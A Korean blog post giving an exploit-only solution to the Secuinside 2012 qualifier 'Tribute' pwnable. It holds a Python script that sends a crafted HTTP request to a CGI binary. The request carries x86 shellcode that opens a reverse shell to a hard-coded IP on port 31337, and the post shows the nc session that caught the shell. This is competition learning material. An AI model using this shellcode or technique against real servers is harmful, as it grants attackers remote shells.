Secuinside 2012 Quals - Tribute (Exploit only)

2012. 10. 7. 00:54·CTF

Category : Pwnables

nickname: tribute

 

HINT: http://61.42.25.18/banking/

 

binary: http://61.42.25.18/banking/secureKey.tgz

 

CentOS 6.2 / randomize_va_space 2 / exec-shield 0


secureKey.cgi

Summary : invalid use of the index




#!/usr/bin/python

from socket import *
from struct import pack

HOST = "127.0.0.1"
PORT = 80

p = lambda x : pack("<L" , x)

SHELLCODE = "\x90"*16 + "\x31\xc9\x31\xdb\x31\xc0\xb0\x66\x53\x43\x53\x43\x53\x4b\x89\xe1\xcd\x80"+\
"\x88\xc3\xb0\x66\x51\x51\x68\x6e\x08\xe7\x1f\x66\x68\x7a\x69\x66\x6a\x02"+\
"\x89\xe2\x6a\x10\x52\x53\xb3\x03\x89\xe1\xcd\x80\xb0\x3f\x31\xc9\xcd\x80"+\
"\xb0\x3f\x41\xb0\x3f\x41\xcd\x80\x31\xc0\x50\x68\x2f\x2f\x73\x68" +\
"\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x89\xc2\xb0\x0b\xcd\x80"


call_eax = 0x0804878B
getenv_plt = 0x08048608
env = 0x08049943
ret = 0x080487B5

data = p(ret)*1997 + p(getenv_plt) + p(call_eax) + p(env) + "\x90"*(100-len(SHELLCODE))+SHELLCODE+"\r\n"

payload = ""
payload += "GET" + "\x5b\x5b\x5b\xff\xe4" + " /cgi-bin/tribute/secureKey.cgi?n=[BACK]&k= HTTP/1.0" + "\r\n"
payload += "aba:"+data
payload += "abc:"+data 
payload += "abd:"+data
payload += "abe:"+data
payload += "abf:"+data
payload += "abg:"+data
payload += "abh:"+data
payload += "abi:"+data
payload += "abj:"+data
payload += "abk:"+data
payload += "abl:"+data
payload += "p:pwn"+"\r\n"
payload += "\r\n\r\n"


s = socket(AF_INET , SOCK_STREAM)
s.connect((HOST , PORT))
s.send(payload)
print s.recv(1024)

s.close()

 

 

pwn3r@localhost:~/secuinside/quals/tribute$ ./exploit.py & nc -lvp 31337
listening on [any] 31337 ..
connect to [           ] from (UNKNOWN) [          ] 39172
id 1>&2
uid=48(apache) gid=48(apache) groups=48(apache) context=unconfined_u:system_r:httpd_sys_script_t:s0


저작자표시 (새창열림)

'CTF' 카테고리의 다른 글

Secuinside 2012 Quals - Classico (Exploit only)  (0) 2012.10.07
Secuinside 2012 Quals - Roadie (Exploit only)  (0) 2012.10.07
Secuinside 2012 Quals - Dethstarr (Exploit only)  (0) 2012.10.07
2011 Holy-Shield Hacking Festival Report  (4) 2011.11.29
ISEC 2010 본선 CTF - sonic  (0) 2011.10.14
'CTF' 카테고리의 다른 글
  • Secuinside 2012 Quals - Classico (Exploit only)
  • Secuinside 2012 Quals - Roadie (Exploit only)
  • Secuinside 2012 Quals - Dethstarr (Exploit only)
  • 2011 Holy-Shield Hacking Festival Report
pwn3r_45
pwn3r_45
  • pwn3r_45
    pwn3r_45
    pwn3r_45
  • 전체
    오늘
    어제
    • View All (155)
      • Paper (0)
        • Power Grid (0)
        • Software_Kernel (0)
        • Exploitation (0)
        • RTOS (0)
        • UAV (0)
        • SCADA (0)
      • Articles (0)
      • Personal (18)
      • Technical Note (9)
        • Hardware (1)
        • Vulnerability Research (8)
        • Binary Exploitation (5)
        • PR23 (0)
        • Vulnerability (1)
        • Linux Kernel (1)
        • 현대암호 (0)
      • CTF (90)
        • 2025 (0)
        • 2024 (1)
        • 2023 (5)
        • 2019 (5)
        • 2018 (20)
        • 2017 (7)
        • 2016 (6)
        • 2015 (1)
        • 2014 (3)
        • 2013 (14)
        • 2012 (6)
      • Wargame (22)
        • FTZ (13)
        • Lord Of Bof - Redhat 6.2 (0)
        • IO.smashthestack.org (5)
        • Amateria.smashthestack.org (0)
        • pwnable.tw (0)
        • Vortex.overthewire.org (3)
        • Webhacking.kr (0)
        • reversing.kr (0)
        • dreamhack.io (0)
        • CodeEngn (1)
      • Reverse engineering (1)
      • Issue (13)
        • Conference_CTF info (13)
      • Coding (0)
        • C# (0)
      • ETC (2)
      • 미완성 (0)
  • 블로그 메뉴

    • Home
    • Tag
    • MediaLog
    • LocationLog
    • Guestbook
    • Admin
    • Write
  • 링크

    • 6l4ck3y3
    • idkwim
    • gogil
    • dakuo
    • badcob
    • 임준오씨 블로그
    • 김용진씨 블로그
    • david942j
    • orange tsai
    • pwndiary
    • theori
    • tacxingxing
    • jinmo123's team blog
    • ConS-tanT
    • jaybosamiya
    • procdiaru
  • 공지사항

  • 인기 글

  • 태그

    csaw ctf
    gnuboard
    HUST2011
    pwnables
    후기
    POC
    HUST
    vuln
    정보보호올림피아드
    power of community
    web
    csaw
  • 최근 댓글

  • 최근 글

  • hELLO· Designed By정상우.v4.10.3
pwn3r_45
Secuinside 2012 Quals - Tribute (Exploit only)
상단으로

티스토리툴바